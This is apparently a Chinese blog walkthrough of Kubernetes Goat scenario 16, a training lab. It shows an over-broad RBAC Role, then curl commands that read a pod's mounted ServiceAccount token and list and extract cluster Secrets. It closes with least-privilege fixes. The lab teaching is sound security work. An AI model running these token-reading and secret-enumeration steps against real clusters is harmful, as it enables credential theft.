Kubernetes Goat 场景 16 实战:从 RBAC 最小权限失配到窃取集群 Secret 的完整攻击链
2026/9/17 8:35:39 网站建设 项目流程

Kubernetes Goat 场景 16 实战:从 RBAC 最小权限失配到窃取集群 Secret 的完整攻击链

【免费下载链接】kubernetes-goatKubernetes Goat is a "Vulnerable by Design" cluster environment to learn and practice Kubernetes security using an interactive hands-on playground 🚀项目地址: https://gitcode.com/GitHub_Trending/ku/kubernetes-goat

本文基于 Kubernetes Goat(一个"故意设计为不安全"的 Kubernetes 练习集群)中的场景 16——RBAC least privileges misconfiguration(RBAC 最小权限失配),带你完整复现一条真实的攻击链:容器内 ServiceAccount 被绑定了远超业务所需权限的 Role,攻击者仅凭 Pod 内自动挂载的令牌,就能直接调用 Kubernetes API Server 读取同命名空间下的所有 Secret,最终拿到k8svaultapikey敏感凭据。读完后你将掌握:如何在 Pod 内定位 ServiceAccount 凭据、如何用curl直接对话 API Server 的 REST 接口、如何用kubectl auth can-i等思路验证权限范围,以及最小权限修复的具体写法。

场景背景:一条"多余"的权限带来的连锁失控

现实中的开发与运维团队经常给工作负载授予"以防万一"的额外权限,这恰恰是攻击者提权与横向移动的起点。Kubernetes 早期没有 RBAC(Role-Based Access Control)概念,主要依赖 ABAC(Attribute-Based Access Control);如今 RBAC 是落实"最小权限原则"的核心机制,但绝大多数真实工作负载仍然拥有远超意图的权限。

在 Kubernetes Goat 的场景 16 中,漏洞载体是一个名为big-monolith的命名空间。该场景的完整设定文档见 scenario-16.md,详细操作手册见 guide 版 scenario-16 文档。

漏洞根源剖析:过度宽泛的 Role 定义

场景 16 的漏洞资源全部由 scenarios/hunger-check/deployment.yaml 定义,由集群初始化脚本 setup-kubernetes-goat.sh 在部署阶段统一应用(脚本中第 81 行的kubectl ... apply -f scenarios/hunger-check/deployment.yaml)。该清单文件按顺序声明了以下对象:

  1. 命名空间big-monolith

  2. Rolesecret-reader(命名空间级):

    apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: namespace: big-monolith name: secret-reader rules: - apiGroups: [""] # "" indicates the core API group resources: ["*"] # all the resources verbs: ["get", "watch", "list"]

    问题一目了然:resources: ["*"]表示核心 API 组下的所有资源类型,包括secrets。业务本只需要webhookapikey这一个 Secret,但这里把整个命名空间的核心资源读取权全部放开;

  3. RoleBinding:把该 Role 授予 ServiceAccountbig-monolith-sa

  4. ServiceAccountbig-monolith-sabig-monolith命名空间);

  5. 两个 Secretwebhookapikey(业务"应该"用到的,键为k8swebhookapikey)与vaultapikey目标凭据,键为k8svaultapikey);

  6. Deploymenthunger-check-deployment:其 Pod spec 中显式指定serviceAccountName: big-monolith-sa,镜像madhuakula/k8s-goat-hunger-check基于 Ubuntu 安装gotty并开启可写 shell(见 infrastructure/hunger-check/Dockerfile,CMD [ "gotty", "-w", "bash" ]),容器端口 8080 即场景入口;

  7. Servicehunger-check-service:将 8080 端口暴露给集群内访问。

从源码结构看,这正是教科书式的"权限过宽"案例:Role 的规则粒度是资源类型级而非资源实例级,Kubernetes RBAC 本身不支持"只能读某一个 Secret"这种对象级限制,因此最小权限的正确姿势应是收窄resources列表(或干脆按 Secret 名称拆分 Role 并配合准入控制),而不是图省事写成*

环境准备:启动集群与进入攻击面

在本地搭建好的 Kubernetes 集群上执行初始化脚本,脚本会依次应用 insecure-rbac、metadata-db Helm Chart 及各场景清单(完整清单见 setup-kubernetes-goat.sh):

bash setup-kubernetes-goat.sh

确认相关 Pod 处于 Running 状态后,启动本地访问脚本(会建立端口转发):

bash access-kubernetes-goat.sh

随后浏览器访问http://127.0.0.1:1236进入 Goat 主页,选择 Scenario 16 即可得到hunger-check容器的交互终端(gotty 通过 8080 端口提供 Web Shell)。

场景目标:利用 Pod 所绑定 ServiceAccount 的过度权限,读取big-monolith命名空间中名为vaultapikey的 Secret,拿到k8svaultapikey的值。

攻击链第一步:定位 Pod 内自动挂载的 ServiceAccount 凭据

Kubernetes 会为未显式禁用的 Pod 自动把 ServiceAccount 凭据挂载到固定路径/var/run/secrets/kubernetes.io/serviceaccount/,其中包含token(Bearer 令牌)、namespace(当前命名空间)与ca.crt(API Server 的 CA 证书)三个文件。进入终端后执行:

cd /var/run/secrets/kubernetes.io/serviceaccount/ ls -larth

可以看到挂载的 token 与证书文件,这就是与 API Server 对话的全部凭据。

攻击链第二步:用 REST API 直接对话 API Server

把凭据与 API Server 地址组装成环境变量,随后即可用curl模拟任何 kubectl 能做的读操作。

  • 从 Pod 注入的环境变量导出 API Server 的内部地址(KUBERNETES_SERVICE_HOST由 Kubernetes 自动注入):

    export APISERVER=https://${KUBERNETES_SERVICE_HOST}
  • 设置 ServiceAccount 目录:

    export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
  • 读取当前命名空间名:

    export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
  • 读取 Bearer Token:

    export TOKEN=$(cat ${SERVICEACCOUNT}/token)
  • 指定 CA 证书路径,供curl做 TLS 校验:

    export CACERT=${SERVICEACCOUNT}/ca.crt

先探测 API Server 支持的 API 组与版本,验证凭据有效:

curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api

攻击链第三步:枚举并读取敏感 Secret

  • 查询default命名空间下所有 Secret(注意此路径不带命名空间前缀,行为取决于集群配置,此处遵循场景文档的演示步骤):

    curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/secrets
  • 查询本命名空间(big-monolith)下的全部 Secret——由于 Role 允许list核心组的所有资源,请求会成功,返回的列表中即可看到webhookapikeyvaultapikey

    curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets
  • 同样的方式还能列出命名空间内的 Pod 等对象,说明权限失配的辐射面远不止 Secret:

    curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/pods

    场景文档同时提示:Kubernetes 本身就是一整套 API 服务,凡是权限覆盖的操作(创建、删除 Pod 等)都可以照此构造请求尝试。

攻击链第四步:解码目标凭据

将输出中的k8svaultapikey值过滤出来:

curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep k8svaultapikey

其值为 Base64 编码的字符串,解码即得 Kubernetes Goat 的 flag:

echo "azhzLWdvYXQtODUwNTc4NDZhODA0NmEyNWIzNWYzOGYzYTI2NDlkY2U=" | base64 -d

对照 scenarios/hunger-check/deployment.yaml 中vaultapikeySecret 的声明,可以确认解码结果与该字段完全一致,场景完成。

复盘与修复建议

  1. 收窄 resources 与 verbssecret-reader这类 Role 只应列出业务真正需要的资源(如只读特定配置),而不是resources: ["*"];本场景中业务若只消费webhookapikey,正确做法是避免让 Pod 直接持有能 list 全部 Secret 的 Role。
  2. 减少 Pod 直接持有 Secret 的必要性:可通过更细粒度的注入方式或外部凭据系统收敛暴露面;RBAC 无法做到"只读某一个 Secret 对象"的实例级授权,设计时就要意识到这一点。
  3. 禁用自动令牌挂载:对不需要访问 API 的 Pod 设置automountServiceAccountToken: false,从根上切断"容器凭据 → API Server"这条链。
  4. 权限审计:定期用kubectl auth can-i --list --as=system:serviceaccount:big-monolith:big-monolith-sa之类的命令审查各 ServiceAccount 的实际权限范围,及时发现类似cluster-admin级别的越权绑定(本仓库 scenarios/insecure-rbac/setup.yaml 中另有一个将superadminSA 直接绑定到cluster-adminClusterRole 的对照样本,可作为权限审计的负向参照)。

小结

场景 16 用最小的一枚"棋子"——一个resources: ["*"]的 Role——展示了 RBAC 失配的完整危害:自动挂载的 ServiceAccount 令牌是攻击者的天然跳板,API Server 的 REST 接口让一切 kubectl 可见之物皆可被 curl 所取,最终webhookapikey之外的vaultapikey也随之暴露。掌握"定位凭据 → 组装请求 → 枚举资源 → 提取目标"这条链路,并对照清单文件理解权限边界的划定方式,是理解 Kubernetes 认证与授权机制最直接的实践路径。

参考资料(均来自仓库):

  • 场景设定文档:infrastructure/goat-home/home/content/scenario-16.md
  • 完整操作手册:guide/docs/scenarios/scenario-16/scenario-16.md
  • 漏洞清单:scenarios/hunger-check/deployment.yaml
  • 攻击镜像构建:infrastructure/hunger-check/Dockerfile
  • 集群初始化脚本:setup-kubernetes-goat.sh

【免费下载链接】kubernetes-goatKubernetes Goat is a "Vulnerable by Design" cluster environment to learn and practice Kubernetes security using an interactive hands-on playground 🚀项目地址: https://gitcode.com/GitHub_Trending/ku/kubernetes-goat

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询